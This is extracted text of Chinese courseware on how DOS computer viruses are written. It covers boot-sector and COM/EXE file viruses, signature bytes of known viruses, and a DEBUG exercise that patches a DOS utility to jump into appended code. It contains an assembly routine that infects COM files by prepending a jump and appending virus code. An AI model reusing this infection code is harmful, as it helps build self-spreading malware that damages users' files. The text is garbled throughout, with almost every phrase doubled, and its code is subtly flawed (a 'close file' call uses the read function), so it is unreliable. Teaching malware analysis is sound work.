《第7章-计算机病毒编制关键技术及典型计算机课件.ppt》由会员分享,可在线阅读,更多相关《第7章-计算机病毒编制关键技术及典型计算机课件.ppt(253页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、第第7章章 计算机病毒编制关键技术计算机病毒编制关键技术及典型计算机病毒及典型计算机病毒7.1 DOS病毒分析病毒分析7.2 Windows病毒分析病毒分析7.3 网络病毒分析网络病毒分析7.4 宏病毒分析宏病毒分析7.5 木马病毒分析木马病毒分析7.6 手机(手机(GSM)病毒分析)病毒分析习题习题引导型病毒是指病毒侵入系统引导区,从而引发破坏引导型病毒是指病毒侵入系统引导区,从而引发破坏行为的一种病毒特性。行为的一种病毒特性。DOS启动时,绝大多数引导型启动时,绝大多数引导型病毒感染硬盘主引导扇区和病毒感染硬盘主引导扇区和DOS引导扇区。引导扇区。7.1 DOS病毒分析病毒分析 7.1.1
2、 引导型病毒引导型病毒1.DOS下的磁盘引导区结构下的磁盘引导区结构在在DOS操作系统控制下,磁盘引导区一般由操作系统控制下,磁盘引导区一般由3部分组部分组成:主引导记录(成:主引导记录(Main Boot Record)、磁盘分区表)、磁盘分区表(Disk Partition Table,PDT)和主引导记录有效标志和主引导记录有效标志字。字。(1)硬盘的主引导记录结构硬盘的主引导记录结构主引导记录结构如表主引导记录结构如表7.1(见书(见书178页)所示。页)所示。分区表自偏移分区表自偏移1BEH处开始,共处开始,共64个字节,每个字节,每16个字个字节为一个分区说明项,存放分区结构信息,
3、因此表中节为一个分区说明项,存放分区结构信息,因此表中可填入可填入4个分区信息。个分区信息。硬盘主引导记录程序存放在分区表的硬盘主引导记录程序存放在分区表的0000H00D9H处,它的功能是读出自举分区的处,它的功能是读出自举分区的Boot程序,并把控制程序,并把控制转移到分区转移到分区Boot程序。程序流程如下:程序。程序流程如下:将本来读入到将本来读入到0000:7C00H处的硬盘主引导记录处的硬盘主引导记录程序移至程序移至0000:61BH处;处;顺序读入顺序读入4个分区表的自举标志,以找出自举分区,个分区表的自举标志,以找出自举分区,若找不到,转而执行若找不到,转而执行INT 18H的
4、的Boot异常执行中断程异常执行中断程序;序;找到自举分区后,检测该分区的系统标志,若为找到自举分区后,检测该分区的系统标志,若为32位位FAT表或表或16位位FAT表但支持表但支持13号中断的扩展功能,号中断的扩展功能,就转到执行就转到执行13号中断的号中断的41号功能调用进行安装检验,号功能调用进行安装检验,检验成功,就执行检验成功,就执行42号扩展读功能调用把号扩展读功能调用把Boot区程序区程序读入到内存读入到内存0000:7C00H处,成功,跳到第处,成功,跳到第步,若步,若读失败或系统标志为其他,就调用读失败或系统标志为其他,就调用13号中断的读扇区号中断的读扇区功能调用把功能调用
5、把Boot读到读到0000:7C00H;用用13号中断的读扇区功能时,用两种方式分别进号中断的读扇区功能时,用两种方式分别进行行5次试读。第一种方式是直接从自举分区的头扇区次试读。第一种方式是直接从自举分区的头扇区读入读入Boot程序,若读成功,但结束标志不是程序,若读成功,但结束标志不是55AA,则改用第二种方式,又如果用第一种方式试读则改用第二种方式,又如果用第一种方式试读5次均次均不成功,就改用第二种方式。若两种方式试读均失败,不成功,就改用第二种方式。若两种方式试读均失败,就转到出错处理程序;就转到出错处理程序;读入读入Boot区程序成功,转至区程序成功,转至0000:7C00H处执行
6、处执行Boot程序。程序。(2)分区表结构分区表结构分区表占据偏移地址分区表占据偏移地址1BEH01FDH范围的空间,共范围的空间,共64B,每,每16B为一个分区说明项,存放分区结构信息,为一个分区说明项,存放分区结构信息,如表如表7.2(见书(见书179页)所示。页)所示。每一个分区表中扩展分区说明项实际上指示下一每一个分区表中扩展分区说明项实际上指示下一个分区表的位置(簇、磁头号、扇区号)。最后一个个分区表的位置(簇、磁头号、扇区号)。最后一个分区表没有扩展分区说明项。分区表没有扩展分区说明项。每一个分区表都会有一个实际分区说明项,也就每一个分区表都会有一个实际分区说明项,也就是对逻辑盘
7、的实际起始、终止位置进行说明。是对逻辑盘的实际起始、终止位置进行说明。除逻辑盘主引导记录及分区表共占用一个扇区,除逻辑盘主引导记录及分区表共占用一个扇区,其他分区表则各占一个扇区,自该扇区其他分区表则各占一个扇区,自该扇区01BEH处开处开始,以始,以55AAH结束。结束。2.引导型病毒的运行机制引导型病毒的运行机制引导型病毒是把原来的主引导记录保存后用自己的程引导型病毒是把原来的主引导记录保存后用自己的程序替代掉原来的主引导记录。启动时,当病毒体得到序替代掉原来的主引导记录。启动时,当病毒体得到控制权,在做完了处理后,病毒将保存的原主引导记控制权,在做完了处理后,病毒将保存的原主引导记录读入
8、录读入0000:7C00H处,然后将控制权交给原主引导处,然后将控制权交给原主引导记录进行启动。这类病毒的感染途径是通过磁盘操作记录进行启动。这类病毒的感染途径是通过磁盘操作引起的。例如,当用一个染毒的系统软盘启动计算机引起的。例如,当用一个染毒的系统软盘启动计算机时,就有可能将病毒传染给硬盘,从而引起硬盘引导时,就有可能将病毒传染给硬盘,从而引起硬盘引导区染毒;同样,当某软盘在一台染毒的计算机上运行区染毒;同样,当某软盘在一台染毒的计算机上运行时,硬盘上的病毒就可能感染软盘。时,硬盘上的病毒就可能感染软盘。因此,引导型病毒能否成功运行的关键技术涉及有以因此,引导型病毒能否成功运行的关键技术涉
9、及有以下几个方面:保存主引导记录、调用下几个方面:保存主引导记录、调用BIOS磁盘服务磁盘服务功能、寻找病毒感染途径和病毒驻留位置。功能、寻找病毒感染途径和病毒驻留位置。(1)保存原始主引导记录保存原始主引导记录众所周知,文件型病毒用以保存被感染修改的部分是众所周知,文件型病毒用以保存被感染修改的部分是文件。引导型病毒是否也可以使用文件存储被覆盖的文件。引导型病毒是否也可以使用文件存储被覆盖的引导记录呢?答案是否定的。由于主引导记录病毒先引导记录呢?答案是否定的。由于主引导记录病毒先于操作系统执行,因而不能使用操作系统的功能调用,于操作系统执行,因而不能使用操作系统的功能调用,而只能使用而只能
10、使用BIOS的功能调用或者使用直接的的功能调用或者使用直接的I/O设计。设计。一般使用一般使用BIOS的磁盘服务将主引导记录保存于绝对的磁盘服务将主引导记录保存于绝对的扇区内。由于的扇区内。由于0道道0面面2扇区是保留扇区,因而通常扇区是保留扇区,因而通常使用它来保存。使用它来保存。(2)BIOS磁盘服务功能的调用磁盘服务功能的调用在引导型病毒的程序代码中,常常会用到在引导型病毒的程序代码中,常常会用到BIOS磁盘磁盘服务功能的调用,服务功能的调用,INT 13H中断调用子功能中断调用子功能02H、03H能进行磁盘读写操作,因此,常被病毒代码利用。能进行磁盘读写操作,因此,常被病毒代码利用。利
11、用利用INT 13H子功能子功能 02H调用读扇区入口为:调用读扇区入口为:AH=02H,AL=读入的扇区数,读入的扇区数,CH=磁道号,磁道号,CL=扇扇区号(从区号(从1开始),开始),DH=头号,头号,DL=物理驱动器号,物理驱动器号,ES:BX-要填充的缓冲区;返回值为:当要填充的缓冲区;返回值为:当CF置位时置位时表示调用失败,表示调用失败,AH=状态,状态,AL=实际读入的扇区数。实际读入的扇区数。利用利用INT 13H子功能子功能03H调用写扇区入口为:调用写扇区入口为:AH=03H,AL=写入的扇区数,写入的扇区数,CH=磁道号,磁道号,CL=扇扇区号(从区号(从1开始),开始
12、),DH=头号,头号,DL=物理驱动器号,物理驱动器号,ES:BX-缓冲区;返回值为:当缓冲区;返回值为:当CF置位时表示调用置位时表示调用失败,失败,AH=状态,状态,AL=实际写入的扇区数。实际写入的扇区数。(3)病毒感染途径病毒感染途径通常这类病毒通过截获中断向量通常这类病毒通过截获中断向量INT 13H进行系统监进行系统监控。当存在有关于软盘或硬盘的磁盘读写时,病毒将控。当存在有关于软盘或硬盘的磁盘读写时,病毒将检测其是否干净,若尚未感染则感染之。检测其是否干净,若尚未感染则感染之。(4)驻留位置驻留位置 通常病毒通过修改基本内存的大小来获取自己驻留的通常病毒通过修改基本内存的大小来获
13、取自己驻留的空间。基本内存大小的存储位置在空间。基本内存大小的存储位置在40H:13H,单位为,单位为KB。病毒体存在于最后的一点内存中。病毒体存在于最后的一点内存中。3.典型的引导型病毒典型的引导型病毒(1)病毒名:病毒名:Disk Killer病毒别名:磁盘杀手病毒别名:磁盘杀手特征代码:特征代码:C3 10 E2 F2 C6 06 F3 01 FF 90 EB 55病毒长度:病毒长度:520B病毒特征:感染病毒特征:感染Boot扇区,当用染有该病毒的软盘启扇区,当用染有该病毒的软盘启动系统时,病毒进入内存,并感染硬盘。当进行动系统时,病毒进入内存,并感染硬盘。当进行I/O操作时,病毒会感
14、染其他软盘。操作时,病毒会感染其他软盘。当病毒侵入软盘时,除感染软盘当病毒侵入软盘时,除感染软盘Boot扇区外,额外占扇区外,额外占用用3个簇,并将其在个簇,并将其在FAT表中标为坏簇。病毒编写者表中标为坏簇。病毒编写者此时犯了一个错误,即将病毒占用的此时犯了一个错误,即将病毒占用的3个簇相邻的一个簇相邻的一个簇也标为坏簇了。个簇也标为坏簇了。当病毒侵入硬盘时,除感染硬盘当病毒侵入硬盘时,除感染硬盘Boot扇区外,还将自扇区外,还将自身隐藏在身隐藏在0柱柱0面道的最后面道的最后5个扇区中。在某些硬盘个扇区中。在某些硬盘中这些扇区属于保留扇区,受到系统的保护,用中这些扇区属于保留扇区,受到系统的
15、保护,用DEBUG的的L命令不可能看到它们,必须用命令不可能看到它们,必须用DEBUG的的A命令编写一段汇编程序才能看到。命令编写一段汇编程序才能看到。在计算机内部,病毒占用了在计算机内部,病毒占用了INT8,设置了内部计数,设置了内部计数器。对计算机每秒器。对计算机每秒13.2s的时钟中断进行计数。当计的时钟中断进行计数。当计数值达到数值达到300000H(也即也即3145728/18.2=172842s,约合,约合48h)时,病毒被触发。这时,键盘死锁,一些杂乱数时,病毒被触发。这时,键盘死锁,一些杂乱数据被写入硬盘,直至全部数据被毁坏为止。据被写入硬盘,直至全部数据被毁坏为止。该病毒在该
16、病毒在I/O操作时,会随时将计数器的值写入硬盘操作时,会随时将计数器的值写入硬盘保存起来。由于计数器的值被保存在硬盘中,病毒可保存起来。由于计数器的值被保存在硬盘中,病毒可以对工作时间进行累计。达到预定时间,病毒引爆。以对工作时间进行累计。达到预定时间,病毒引爆。(2)病毒名:病毒名:Michelangelo病毒别名:米开朗基罗病毒别名:米开朗基罗特征代码:特征代码:33 C9 B4 04 CD 1A 81 FA 06 03 74 01 CB 33 D2 B9 01 00 B8 D9病毒长度:病毒长度:430B病毒特征:每年病毒特征:每年3月月6日日(意大利画家米开朗基罗的生意大利画家米开朗基
17、罗的生日日)发作,病毒盘启动后,内存总量减少发作,病毒盘启动后,内存总量减少1KB。该病毒占用中断该病毒占用中断INT 13H,对硬盘而言,将原主引导,对硬盘而言,将原主引导扇区写入扇区写入0柱柱0头头7扇区;对软盘来说,若为扇区;对软盘来说,若为360KB软软盘,则将盘,则将Boot扇区写入扇区写入0道道1头头3扇区,对扇区,对1.2MB、1.4MB软盘,则将原软盘,则将原Boot扇区写入扇区写入0道道1头头14扇区。扇区。在染毒扇区的在染毒扇区的13EH处,有病毒特征码值:处,有病毒特征码值:33 C9 B4 04 CD 1A 81 FA 06 03 74 01 CB 33 D2 B9 0
18、1 00 B8 D9。该病毒用该病毒用INT 1AH的的04号功能,查询系统日期,当日号功能,查询系统日期,当日期值为期值为3月月6日时,病毒被触发,病毒发作时,将磁盘日时,病毒被触发,病毒发作时,将磁盘从从0道道0头开始,对头开始,对0255个扇区全部乱写;一旦乱写,个扇区全部乱写;一旦乱写,无法恢复。无法恢复。FAT表、目录全部被破坏。表、目录全部被破坏。(3)病毒名:病毒名:Ping Pong 病毒别名:小球病毒别名:小球病毒特征:病毒触发后,屏幕上显示一个跳动的小球病毒特征:病毒触发后,屏幕上显示一个跳动的小球,小球碰到屏幕小球碰到屏幕4个边缘会反弹,它对西文屏幕显示干个边缘会反弹,它
19、对西文屏幕显示干扰不大,对中文屏幕扰乱较大。扰不大,对中文屏幕扰乱较大。病毒感染病毒感染Boot扇区,使用染毒磁盘启动系统时,病毒扇区,使用染毒磁盘启动系统时,病毒进驻内存。病毒可以感染不带进驻内存。病毒可以感染不带DOS系统的软盘,用这系统的软盘,用这种染毒盘启动系统时,会显示出错信息,要求用户插种染毒盘启动系统时,会显示出错信息,要求用户插入系统盘,此时病毒已经进入内存,任何插入的清洁入系统盘,此时病毒已经进入内存,任何插入的清洁的的DOS盘片在启动时,都可能受到感染。盘片在启动时,都可能受到感染。病毒除占用病毒除占用Boot扇区外,在磁盘中还占用了一个空簇,扇区外,在磁盘中还占用了一个空
20、簇,其中一个扇区用于存放病毒代码,另一扇区保存原其中一个扇区用于存放病毒代码,另一扇区保存原Boot扇区代码,这个被病毒占用的串簇被标为扇区代码,这个被病毒占用的串簇被标为“坏簇坏簇”以防止被操作系统写入别的数据。以防止被操作系统写入别的数据。该病毒不会攻击该病毒不会攻击80286、80386 CPU的微机,因为,的微机,因为,病毒中使用的某些代码在上述微机中不合法。小球病病毒中使用的某些代码在上述微机中不合法。小球病毒只能在毒只能在8086和和8088 CPU的微机上工作。当小球病的微机上工作。当小球病毒感染毒感染80286、80386 CPU的微机时,将会死机,虽的微机时,将会死机,虽然系
21、统崩溃没有什么危险,但是个麻烦。然系统崩溃没有什么危险,但是个麻烦。4.病毒名:病毒名:Marijuana 病毒别名:大麻病毒别名:大麻病毒特征:病毒触发后,屏幕上显示如下信息:病毒特征:病毒触发后,屏幕上显示如下信息:“Your PC is now Stone!”感染大麻病毒的软盘感染大麻病毒的软盘Boot扇区中,可找到如下字符串:扇区中,可找到如下字符串:“Your PC is now Stone!”“LEGALISE MARIJUANA!”病毒占用了软盘的病毒占用了软盘的Boot扇区,将原扇区,将原Boot扇区存放在扇区存放在0道道1侧侧3扇区;对硬盘而言,病毒占用硬盘的主引导扇扇区;对
22、硬盘而言,病毒占用硬盘的主引导扇区,将原主引扇区保存在区,将原主引扇区保存在0柱柱0头头7扇区。扇区。文件型病毒是文件型病毒是DOS病毒中的大家族,文件病毒有广义病毒中的大家族,文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒、源码病毒,甚至的可执行文件病毒、源码病毒,甚至bat病毒和病毒和Word宏病毒,狭义的可执行文件病毒即宏病毒,狭义的可执行文件病毒即com型和型和exe型病型病毒。这里主要介绍毒。这里主要介绍com和和exe型病毒。型病毒。7.1.2 文件型病毒文件型病毒和和exe文件结构文件结构(1)com文件
23、结构及原理文件结构及原理com文件结构比较简单,它包含程序的一个绝对映像,文件结构比较简单,它包含程序的一个绝对映像,即为了运行程序准确的处理器指令和内存中的数据,即为了运行程序准确的处理器指令和内存中的数据,MS-DOS通过直接把该映像从文件复制到内存,从而通过直接把该映像从文件复制到内存,从而加载加载com程序,而不做任何改变。程序,而不做任何改变。为加载一个为加载一个com程序,程序,MS-DOS首先试图分配内存,首先试图分配内存,因为因为com程序必须位于一个程序必须位于一个64KB的段中,所以的段中,所以com文文件的大小不能超过件的大小不能超过65 024(64KB减去用于减去用于
24、PSP的的256B和用于一个起始堆栈的至少和用于一个起始堆栈的至少256B)。如果。如果MS-DOS不不能为程序、一个能为程序、一个PSP、一个起始堆栈分配足够内存,、一个起始堆栈分配足够内存,则分配尝试失败。否则,则分配尝试失败。否则,MS-DOS分配尽可能多的内分配尽可能多的内存存(直至所有保留内存直至所有保留内存),即使,即使com程序本身不能大于程序本身不能大于64KB。在试图运行另一个程序或分配另外的内存之。在试图运行另一个程序或分配另外的内存之前,大部分前,大部分com程序释放任何不需要的内存。程序释放任何不需要的内存。分配内存后,分配内存后,MS-DOS在该内存的前在该内存的前2
25、56B建立一个建立一个PSP,如果,如果PSP中的第一个中的第一个FCB含有一个有效驱动器含有一个有效驱动器标识符,则置标识符,则置AL为为00H,否则置为,否则置为0FFH。MS-DOS还置还置AH为为00H或或0FFH,这依赖于第二个,这依赖于第二个FCB是否含是否含有一个有效驱动器标识符。建造有一个有效驱动器标识符。建造PSP后,后,MS-DOS在在PSP后立即开始(偏移后立即开始(偏移100H)加载)加载com文件,它置文件,它置SS、DS和和ES为为PSP的段地址,接着创建一个堆栈。为创的段地址,接着创建一个堆栈。为创建这个堆栈,在已分配了至少建这个堆栈,在已分配了至少64KB内存的
26、情况下,内存的情况下,MS-DOS置置SP为为0000H;否则;否则,它置寄存器为比所分它置寄存器为比所分配的字节总数大配的字节总数大2的值。最后,将的值。最后,将0000H进栈。进栈。MS-DOS通过把控制传递给偏移通过把控制传递给偏移100H处的指令而启处的指令而启动程序。程序设计者必须保证动程序。程序设计者必须保证COM文件的第一条指文件的第一条指令是程序的入口点。令是程序的入口点。(2)exe文件结构及原理文件结构及原理 exe文件比较复杂,属于一种多段的结构,是文件比较复杂,属于一种多段的结构,是DOS最最成功和复杂的设计之一。要了解成功和复杂的设计之一。要了解exe文件,首先需要文
27、件,首先需要了解了解exe文件的文件头结构。文件的文件头结构。每个每个exe文件包含一个文件头和一个可重定位程序映文件包含一个文件头和一个可重定位程序映像。文件头包含像。文件头包含MS-DOS用于加载程序的信息。文件用于加载程序的信息。文件头还指向一个重定位表头还指向一个重定位表,该表包含指向程序映像中可该表包含指向程序映像中可重定位段地址的指针链表。重定位段地址的指针链表。exe文件的文件头结构如文件的文件头结构如表表7.3(见书(见书187页)所示。页)所示。程序映像,包含处理器代码和程序的初始数据,紧接程序映像,包含处理器代码和程序的初始数据,紧接在文件头之后。它的大小以字节为单位,等于
28、在文件头之后。它的大小以字节为单位,等于exe文文件的大小减去文件头的大小,也等于件的大小减去文件头的大小,也等于exHeaderSize的的域的值乘以域的值乘以16。MS-DOS通过把该映像直接从文件复通过把该映像直接从文件复制到内存加载制到内存加载exe程序,然后调整定位表中说明的可程序,然后调整定位表中说明的可重定位段地址。重定位段地址。定位表是一个重定位指针数组,每个指向程序映像中定位表是一个重定位指针数组,每个指向程序映像中的可重定位段地址。文件头中的的可重定位段地址。文件头中的exRelocItems域说明域说明了数组中指针的个数,了数组中指针的个数,exRelocTable域说明
29、了分配表域说明了分配表的起始文件偏移量。每个重定位指针由两个的起始文件偏移量。每个重定位指针由两个16位值组位值组成:偏移量和段值。成:偏移量和段值。为加载为加载exe程序,程序,MS-DOS首先读文件头以确定首先读文件头以确定exe标标志并计算程序映像的大小。然后它试图申请内存。首志并计算程序映像的大小。然后它试图申请内存。首先,它计算程序映像文件的大小加上先,它计算程序映像文件的大小加上PSP的大小再加的大小再加上上EXEHEADER结构中的结构中的exMinAlloc域说明的内存域说明的内存大小这大小这3者之和。如果总和超过最大可用内存块的大者之和。如果总和超过最大可用内存块的大小,则小
30、,则MS-DOS停止加载程序并返回一个出错值。否停止加载程序并返回一个出错值。否则,它计算程序映像的大小加上则,它计算程序映像的大小加上PSP的大小再加上的大小再加上EXEHEADER结构中结构中exMaxAlloc域说明的内存大小域说明的内存大小之和,如果第二个总和小于最大可用内存块的大小,之和,如果第二个总和小于最大可用内存块的大小,则则MS-DOS分配计算得到的内存量。否则,它分配最分配计算得到的内存量。否则,它分配最大可用内存块。大可用内存块。分配完内存后,分配完内存后,MS-DOS确定段地址,也称为起始段确定段地址,也称为起始段地址,地址,MS-DOS从此处加载程序映像。如果从此处加
31、载程序映像。如果exMinAlloc域和域和exMaxAlloc域中的值都为零,则域中的值都为零,则MS-DOS把映像尽可能地加载到内存最高端。否则,它把把映像尽可能地加载到内存最高端。否则,它把映像加载到紧挨着映像加载到紧挨着PSP域之上。域之上。接下来,接下来,MS-DOS读取重定位表中的项目调整所有由读取重定位表中的项目调整所有由可重定位指针说明的段地址。对于重定位表中的每个可重定位指针说明的段地址。对于重定位表中的每个指针,指针,MS-DOS寻找程序映像中相应的可重定位段地寻找程序映像中相应的可重定位段地址,并把起始段地址加到它之上。一旦调整完毕,段址,并把起始段地址加到它之上。一旦调
32、整完毕,段地址便指向了内存中被加载程序的代码和数据段。地址便指向了内存中被加载程序的代码和数据段。MS-DOS在所分配内存的最低部分建造在所分配内存的最低部分建造256B的的PSP,把把AL和和AH设置为加载设置为加载com程序时所设置的值。程序时所设置的值。MS-DOS使用文件头中的值设置使用文件头中的值设置SP与与SS,调整,调整SS初始值,初始值,把起始地址加到它之上。把起始地址加到它之上。MS-DOS还把还把ES和和DS设置设置为为PSP的段地址。最后,的段地址。最后,MS-DOS从程序文件头读取从程序文件头读取CS和和IP的初始值的初始值,把起始段地址加到把起始段地址加到CS之上,把
33、控制之上,把控制转移到位于调整后地址处的程序。转移到位于调整后地址处的程序。2.文件型病毒编制原理文件型病毒编制原理 文件型病毒的编制方法一般是将病毒程序植入正常程文件型病毒的编制方法一般是将病毒程序植入正常程序中或是将病毒程序覆盖正常程序的部分代码,以源序中或是将病毒程序覆盖正常程序的部分代码,以源文件作为病毒程序的载体,将病毒程序隐藏其间。正文件作为病毒程序的载体,将病毒程序隐藏其间。正常情况下,看不出程序有可变化,当一定的条件满足常情况下,看不出程序有可变化,当一定的条件满足时,病毒发作,感染和破坏系统。一般作法是利用时,病毒发作,感染和破坏系统。一般作法是利用com或或exe文件的文件
34、头,找到可执行文件的入口,文件的文件头,找到可执行文件的入口,将病毒程序安插到程序中,重新设置或修改文件的起将病毒程序安插到程序中,重新设置或修改文件的起始代码,并使其能转到病毒程序运行。病毒程序代码始代码,并使其能转到病毒程序运行。病毒程序代码一般分为一般分为3个模块:初始设置模块、感染模块和破坏个模块:初始设置模块、感染模块和破坏模块。下面以模块。下面以com文件为例介绍其病毒编写方法。文件为例介绍其病毒编写方法。文件型病毒要感染文件型病毒要感染com文件有两种方法,一种是将病文件有两种方法,一种是将病毒加载在毒加载在com文件前部,一种是加在文件尾部。在前文件前部,一种是加在文件尾部。在
35、前部时原文件的前部时原文件的前3B被修改。当被修改。当DOS加载加载exe文件时,文件时,根据文件头信息,调入一定长度的文件,设置根据文件头信息,调入一定长度的文件,设置SS、SP从从CS:IP开始执行。病毒一般将自己加在文件的末开始执行。病毒一般将自己加在文件的末端,并修改端,并修改CS、IP的值,使其指向病毒起始地址,的值,使其指向病毒起始地址,修改文件长度信息、修改文件长度信息、SS和和SP。com文件是一种单段执行结构,起源于文件是一种单段执行结构,起源于CPM-86操作操作系统,其执行文件代码和执行时内存映像完全相同,系统,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为起
36、始执行偏移地址为100H,对应于文件的偏移是,对应于文件的偏移是0。(1)病毒编制实验病毒编制实验以以com型文件(如型文件(如DOS 6.22英文版中的英文版中的程序程序)为例,进行如下病毒实验:)为例,进行如下病毒实验:利用利用DEBUG程序,读出程序,读出DOS 6.22英文版中的英文版中的程序。代码如下:程序。代码如下:C:>debug -u 0CA4:0100 B8371E MOV AX,1E37;注意前注意前3个字节的内容(病毒修改的地方)个字节的内容(病毒修改的地方)0CA4:0103 BA3008 MOV DX,0830 0CA4:0106 3BC4CMP AX,SP 0
37、CA4:0108 7369 JNB0173 0CA4:010A 8BC4MOV AX,SP 0CA4:010C 2D4403 SUBAX,0344 0CA4:010F 90 NOP 0CA4:0110 25F0FF ANDAX,FFF0 0CA4:0113 8BF8MOV DI,AX 0CA4:0115 B9A200 MOV CX,00A2 0CA4:0118 90 NOP 0CA4:0119 BE7E01 MOV SI,017E 0CA4:011C FCCLD 0CA4:011D F3REPZ 0CA4:011E A5MOVSW 0CA4:011F 8BD8MOVBX,AX-r AX=000
38、0BX=0000CX=09F1DX=0000SP=FFFEBP=0000SI=0000DI=0000 DS=0CA4ES=0CA4SS=0CA4CS=0CA4IP=0100 NV UP EI PL NZ NA PO NC 0CA4:0100 B8371EMOVAX,1E37 从从0CA4:0AF1处开始,增加一段病毒代码。处开始,增加一段病毒代码。-a af1 0CA4:0AF1 mov ah,0 0CA4:0AF3 int 16;等待按键等待按键 0CA4:0AF5 cmp a1,1b;等待按等待按Esc键键 0CA4:0AF7 jnz af1 0CA4:0AF9 mov word ptr
39、100,37b8;恢复程序开始的恢复程序开始的3个字节个字节0CA4:0AFF mov byte ptr 102,1e 0CA4:0B04 push cs;进栈进栈CS:100 0CA4:0B05 mov si,100 0CA4:0B08 push si 0CA4:0B09 retf;retf回到回到CS:100,程序开始处,程序开始处 0CA4:0B0A 修改原修改原程序程序0CA4:0100处的值。处的值。-a 100 0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块将程序开头改成跳转到修改的模块 0CA4:0103-rcx CX 09F1:a0a-w Writing
40、00A0A bytes-q 结果。程序写盘退出后,再执行结果。程序写盘退出后,再执行more程序,发现程序,发现如果不按如果不按Esc键程序无法执行。这是因为,首先在源键程序无法执行。这是因为,首先在源程序的尾部添加了一段程序(相当于病毒模块),该程序的尾部添加了一段程序(相当于病毒模块),该程序是等待接受键盘输入,当键盘输入程序是等待接受键盘输入,当键盘输入Esc时,恢复时,恢复源程序并返回执行源程序;然后将源程序开始处的指源程序并返回执行源程序;然后将源程序开始处的指令修改成无条件跳转到所添加程序的开始位置,所以,令修改成无条件跳转到所添加程序的开始位置,所以,当程序启动后,直接转去执行所
41、添加的程序段。当程序启动后,直接转去执行所添加的程序段。(2)com文件型病毒运行机制文件型病毒运行机制感染感染com文件的典型做法是在源文件的尾部增加一段文件的典型做法是在源文件的尾部增加一段病毒代码,并将源文件的起始指令修改为无条件跳转病毒代码,并将源文件的起始指令修改为无条件跳转到病毒代码开始处,头结构部分如下:到病毒代码开始处,头结构部分如下:cs:0100jmp endoffile;db 0e9h;dw size of com file .endoffile:virusstart:virus code mov ax,orgcode mov 100,ax mov al,orgcode+
42、2 mov 102,al virussize=$-virusstart resume:jmp 100;db 0e9h;dw-(sizeofcom+virussize)orgcode db 3 dup(?);源文件由源文件由0100开始的开始的3个字个字节节感染文件,先将开始的感染文件,先将开始的3字节保存在字节保存在orgcode中,然后中,然后更改为更改为0e9h,size of com file。将。将resume开始的开始的3字节字节改为改为0e9h,(sizeofcom+virussize)。将病毒写入。将病毒写入com文件的末尾。文件的末尾。完整的感染代码还需要有已感染的判断和文件大
43、小的完整的感染代码还需要有已感染的判断和文件大小的判断,如下介绍:判断,如下介绍:假设假设DS:DX指向文件名指向文件名VirusSize,VirusStart的定义如的定义如上,并做以下的修改上,并做以下的修改:保存开始的保存开始的4个字节个字节 db 90h,0E9h dw sizeofcom 替换,以替换,以0E990h为感染标记为感染标记.mov ax,3d01h int 21h;open for r/w jc OpenError push dx xchg ax,bx mov ax,4202h xor cx,cx xor dx,dx int 21h;seek to end or dx,
44、dx jnz complete;file larger than 64k,donot infect cmp ax,0FEEEh-VirusSize-11 jnb complete;com file too large for infect cmp ax,4 Jbcomplete;file less than 4 bytes,donot infected mov di,offset orgcode mov di+6,ax add di+6,VirusSize;generate code to replace mov ax,4200h xor cx,cx xor dx,dx int 21h;see
45、k to begin mov cx,4 mov dx,di mov ah,3fh int 21h;read 4 bytes jc complete cmp word ptr di,0E990h;if has been infected,should be;nop;jmp XXXX jz complete mov cx,4add dx,cx mov ah,40h int 21h;write 4 byte to the beginning mov ax,4202h xor cx,cx xor dx,dx int 21h;seek to end mov ah,40h mov dx,VirusStar
46、t mov cx,VirusSize+11 int 21h;write Virus Code to COM complete:mov ah,3fh int 21h;close file ErrorOpen:.3.典型的文件型病毒典型的文件型病毒(1)Vienna病毒病毒病毒别名:维也纳病毒别名:维也纳感染类型:感染类型:com文件文件病毒特征:病毒运行时,首先在当前文件目录或搜索病毒特征:病毒运行时,首先在当前文件目录或搜索路径的一个目录中,寻找第一个未被感染的路径的一个目录中,寻找第一个未被感染的com文件,文件,并对其进行感染。受感染的并对其进行感染。受感染的com文件长度增加文件长度增加
47、648B。感染感染com文件时,在宿主程序的开始文件时,在宿主程序的开始3个字节放置一个字节放置一条条JMP命令,病毒代码放置在宿主程序的尾部。用程命令,病毒代码放置在宿主程序的尾部。用程序开头处的序开头处的JMP命令跳向病毒代码,使病毒代码在宿命令跳向病毒代码,使病毒代码在宿主程序之前获得运行权。主程序之前获得运行权。该病毒每次运行都企图感染一个该病毒每次运行都企图感染一个com文件,如果被感文件,如果被感染的磁盘上贴有写保护标签时,屏幕上显示报警信息:染的磁盘上贴有写保护标签时,屏幕上显示报警信息:“Write protect error Writing drive x”。(2)1701/
48、1704-B病毒别名:雨点病毒别名:雨点感染类型:感染类型:com文件文件病毒特征:被感染的宿主程序开始处病毒特征:被感染的宿主程序开始处3B放置一条放置一条JMP命令。病毒代码放在宿主程序的后部。感染后,命令。病毒代码放在宿主程序的后部。感染后,文件增长文件增长1701B或或1704B。病毒中含有病毒中含有682B的密码。宿主程序开始处原来的的密码。宿主程序开始处原来的3B被隐藏在密码中,静态时,不能找出宿主程序开始处被隐藏在密码中,静态时,不能找出宿主程序开始处的原来的的原来的3B信息,虽然密码算法很简单,但为病毒信息,虽然密码算法很简单,但为病毒的治疗设置了障碍。的治疗设置了障碍。(3)
49、Jerusalem 病毒别名:耶路撒冷、以色列、犹太人、病毒别名:耶路撒冷、以色列、犹太人、1813、黑色、黑色星期五星期五感染类型:感染类型:com文件、文件、exe文件、文件、ovl文件文件 病毒特征:对病毒特征:对com文件做单次感染,病毒代码放在文件做单次感染,病毒代码放在com文件的头部。对文件的头部。对exe文件做重复感染,可使文件做重复感染,可使exe文文件在重复感染中不断膨胀,占据大量磁盘空间。病毒件在重复感染中不断膨胀,占据大量磁盘空间。病毒感染感染exe文件时,病毒代码贴附在文件时,病毒代码贴附在exe文件的尾部。文件的尾部。病毒中有一个毁灭性模块,可以使计算机内部数据乱病
